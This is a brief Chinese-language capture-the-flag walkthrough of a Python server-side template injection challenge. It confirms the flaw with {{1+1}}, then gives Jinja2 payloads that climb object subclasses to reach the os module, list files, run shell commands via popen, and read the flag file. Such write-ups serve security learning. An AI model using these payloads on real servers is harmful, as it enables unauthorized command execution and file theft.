进入场景后,显示如下页面
猜测本题存在Python SSTI漏洞,验证一下,在url后面添加{{1+1}},回车显示如下
界面返回2,我们输入的1+1被执行了,说明服务器执行了{{}}里面这一段代码。
关于Python模板注入漏洞,可参考:https://www.cnblogs.com/wjw-zm/p/12741055.html
所以本题思路就是先查看当前目录,发现存在一个fl4g文件,然后读取此文件,获得flag。
首先,构造Payload1,查看当前目录,发现存在一个fl4g文件。
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
或者
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
然后,构造Payload2,读取此文件,获得flag。
{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}} 或者 {{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}